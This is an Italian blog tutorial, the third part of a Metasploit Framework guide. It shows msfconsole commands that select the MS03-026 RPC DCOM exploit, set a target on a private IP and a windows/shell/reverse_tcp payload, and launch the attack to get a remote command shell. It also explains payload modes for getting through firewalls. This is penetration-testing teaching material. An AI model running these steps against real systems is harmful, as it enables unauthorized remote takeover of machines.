- notageek.it di Mirko Iodice - http://www.notageek.it -
Guida a Metasploit Framework Parte 3 – La console, gli Exploit e i Payload
Posted By Mirko On 26 novembre 2007 @ 23:15 In Articoli | 163 Comments
In questa terza parte della serie dedicata a Metasploit Framework, dopo una breve panoramica dei principali strumenti, vi darò le nozioni basilari sulle modalità d'uso della msfconsole, in particolare mi soffermerò sull'uso dei moduli Exploit e Payload.

Innanzitutto vorrei richiamare alla vostra attenzione i diversi strumenti che Metasploit ci mette a disposizione.
Osservate il contenuto della cartella di installazione
Vediamo alcuni screenshot dei vari strumenti appena descritti
In questo articolo vi mostrerò l'uso della msfconsole in quanto ritengo che questo strumento costituisca l'approccio più completo alle funzionalità del framework, senza contare il fatto che quando sarete in grado di lanciare un attacco tramite msfconsole utilizzare gli altri strumenti risulterà essere una operazione banalissima... e forse anche non più necessaria.
Ho volutamente tralasciato msfopcode ed msfpescan poiché sono strumenti che risolvono bisogni specifici di chi scrive exploit personalizzati, in ogni caso sono riservati ad un utenza di tipo avanzata.
Aprite un terminale e raggiungete la cartella del framework, per eseguire la console sarà sufficiente fornire il comando
sudo ./msfconsole
N.B: quando utilizzate la console vi consiglio di tenere il terminale a tutto schermo, a seconda delle dimensioni del Desktop può aumentare sensibilmente la leggibilità del testo restituito in output.
Digitare help ci restituirà una breve lista dei comandi disponibili
Iniziamo subito a prendere confidenza con lo strumento... il comando show mostra la lista completa dei moduli di un determinato tipo, per esempio
show exploits
ci restituisce la lista completa degli exploit disponibili; tenere il framework aggiornato vi permette anche di ottenere tutti i nuovi exploit.
show payloads
ci restituisce la lista completa dei payload utilizzabili con gli exploit
Allo stesso modo anche i comandi
show encoders
show auxiliary
show nops
restituiscono le rispettive liste di moduli
In questo momento parleremo soltanto degli Exploit e dei Payload ma intendo comunque fare un minimo di chiarezza.
Altri comandi generici:
Il primo passo per attaccare un sistema tramite Metasploit, tralasciando ovviamente la scansione dei servizi, consiste nel scegliere uno o più exploit in grado di sfruttare le vulnerabilità che potrebbero affliggerlo.
N.B: nmap, se installato sul sistema, è utilizzabile anche all'interno della msfconsole; provate pure a digitare il comando "nmap" e osservatene la risposta.
Quando poco fa avete eseguito il comando show exploits avrete sicuramente notato che gli exploit sono catalogati in categorie e sottocategorie, più o meno il criterio di catalogazione rispecchia la seguente forma
sistema operativo / servizio-applicazione / vulnerabilità
lo stesso vale per i payload, questo sistema (introdotto nella versione 3 del framework) rende molto più intuitiva la ricerca dell'exploit e del payload da utilizzare.
L'exploit che utilizzerò per questa dimostrazione è quello che sfrutta il famoso overflow dell'interfaccia RPC DCOM (ricordate il Worm W32.Blaster [17]?), vediamo come visualizzare maggiori informazioni su di esso
info windows/dcerpc/ms03_026_dcom
La porta 135 (RPC) del bersaglio è raggiungibile, questo exploit è proprio ciò che fa al caso nostro... selezioniamolo tramite il comando use
use windows/dcerpc/ms03_026_dcom
Di conseguenza al comando use il prompt dei comandi è stato modificato, infatti ora indica che stiamo utilizzando l'exploit specificato ed abbiamo perciò accesso ad un altra serie di opzioni, provate ad eseguire il comando show options
show options
L'output di questo comando mira a renderci consapevoli delle possibili configurazioni supportate dal modulo exploit che abbiamo selezionato, tali configurazioni possono essere fatte tramite il comando set. L'exploit preso in esame è molto semplice, stando a quanto indicato dal campo "Required" (obbligatorio) abbiamo la sola necessità di configurare la variabile RHOST ("remote host", ovvero l'indirizzo IP del sistema da attaccare). Non è necessario nemmeno selezionare un sistema operativo target in quanto questo modulo viene dichiarato come Universal (universale).
Selezioniamo allora il nostro RHOST
set RHOST 192.168.192.180
Se provate ad eseguire nuovamente il comando show options noterete che la variabile RHOST risulta ora impostata
Dunque... abbiamo selezionato un exploit, un bersaglio... non ci resta che selezionare un payload, ovvero l'azione che vogliamo venga eseguita sul sistema remoto qualora l'exploit andasse a buon fine.
set PAYLOAD windows/shell/reverse_tcp
Questo payload fa in modo che il sistema attaccato si connetta al nostro computer fornendoci una shell dei comandi tramite la quale avremo la possibilità di controllarlo, tra poco elencherò brevemente le varie tipologie di payload ma per il momento, per non creare confusione, seguite solamente i miei passi.
Se eseguite nuovamente il comando show options vedrete che alle precedenti opzioni relative all'exploit si sono aggiunte quelle relative al payload selezionato, anche i payload infatti hanno bisogno di configurazioni.... alcuni più di altri.
show options
L'unico campo obbligatorio che non risulta compilato è LHOST ("local host", ovvero l'indirizzo IP locale del nostro computer); abbiamo detto infatti che il payload in questione farà in modo che il sistema remoto si connetta al nostro computer quindi avrà ovviamente bisogno di conoscerne l'indirizzo IP.
set LHOST 192.168.192.3
Ancora una volta, eseguendo show options noterete che anche il modulo payload è ora completamente configurato.
Adesso che tutte le variabili obbligatorie sono state correttamente impostate non resterebbe che lanciare l'attacco tramite il comando exploit... nel caso in cui vi stiate chiedendo se esista la possibilità di eseguire una verifica preventiva sulla vulnerabilità del sistema bersaglio, la sezione "Exploit Commands" dell'help vi fornirà la risposta alla domanda.
help
Il comando check permette infatti di eseguire una analisi preventiva del sistema remoto, purtroppo però non tutti gli exploit supportano questa funzionalità. Il nostro ms03_026_dcom per esempio non supporta il check.
Quando vi sentite pronti eseguite il comando exploit per dare il via al processo d'attacco.
exploit
Ecco il risultato
Una volta che avrete terminato di utilizzare la shell dei comandi sarà possibile chiuderla tramite il comando exit oppure con la combinazione di tasti control-c (questa termina forzatamente la sessione, se possibile non utilizzatela).
Non c'è molto da aggiungere, l'utilizzo di Metasploit è semplice ed intuitivo, le azioni da eseguire sono veramente poche. Ovviamente le sue funzionalità non si limitano soltanto a quanto abbiamo visto in questo breve articolo, in futuro ci sarà sicuramente spazio per approfondirne alcuni aspetti specifici.
Poco fa ho parlato dei moduli payload e per non creare confusione ho evitato di entrare un po' più nel dattaglio, vediamoli ora.
Innanzitutto occorre dire che le tipologie di payload messe a disposizione sono principalmente queste:
Ognuno di questi payload può essere eseguito in varie modalità, la scelta è dettata dalla situazione nella quale l'attaccante si trova ad operare. Per esempio: se il sistema fosse protetto da firewall e volessimo comunque ottenere un prompt dei comandi su di esso sarebbe necessario utilizzare una modalità reverse shell (Reverse TCP Stager/Inline) piuttosto che una connessione diretta (Bind TCP Stager/Inline), oppure se il sistema remoto fosse protetto da un firewall in grado di fare ispezione dei pacchetti a livello applicativo (application filter) potrebbe esistere la necessità di eseguire il payload tramite PassiveX Reverse HTTP Tunneling Stager, in questo caso verrà dapprima modificato il registro di sistema e poi lanciato Internet Explorer il quale sarà a questo punto configurato per caricare un controllo ActiveX in grado di eseguire il tunneling HTTP del payload verso il nostro computer (questa modalità è in grado di sfruttare anche le configurazioni di proxy e autenticazione Internet).
Riassumendo... ogni tipologia di payload sopra elencata supporta quindi le modalità appena descritte, ovvero: Reverse TCP Stager/Inline, Bind TCP Stager/Inline e PassiveX Reverse HTTP Tunneling Stager.
Mirko Iodice
mirko -at- notageek (.dot) it
Article printed from notageek.it di Mirko Iodice: http://www.notageek.it
URL to article: http://www.notageek.it/metasploit-framework-tutorial-part3.html
URLs in this post:
[1] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use01.png
[2] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use02.png
[3] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use03.png
[4] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use04.png
[5] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use05.png
[6] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use12.png
[7] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use06.png
[8] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use07.png
[9] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use08.png
[10] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use09.png
[11] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use10.png
[12] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use11.png
[13] exploit: http://it.wikipedia.org/wiki/Exploit
[14] DoS (Denial of Service): http://it.wikipedia.org/wiki/Denial_of_service
[15] shellcode: http://it.wikipedia.org/wiki/Shellcode
[16] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use23.png
[17] Worm W32.Blaster: http://www.symantec.com/security_response/writeup.jsp?docid=2003-081113-0229-99
[18] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use13.png
[19] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use14.png
[20] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use15.png
[21] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use16.png
[22] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use17.png
[23] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use18.png
[24] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use19.png
[25] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use20.png
[26] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use21.png
[27] Image: http://www.notageek.it/wp-content/images/metasploit_use/metasploit_use22.png
[28] wiki book: http://en.wikibooks.org/wiki/Metasploit/Contents
[29] Metasploit Framework User Guide: http://www.metasploit.com/documents/users_guide.pdf
[30] Metasploit Framework Developer Guide: http://www.metasploit.com/documents/developers_guide.pdf
[31] Metasploit Blog: http://blog.metasploit.com/
Click here to print.
Copyright © 2009 notageek.it. All rights reserved.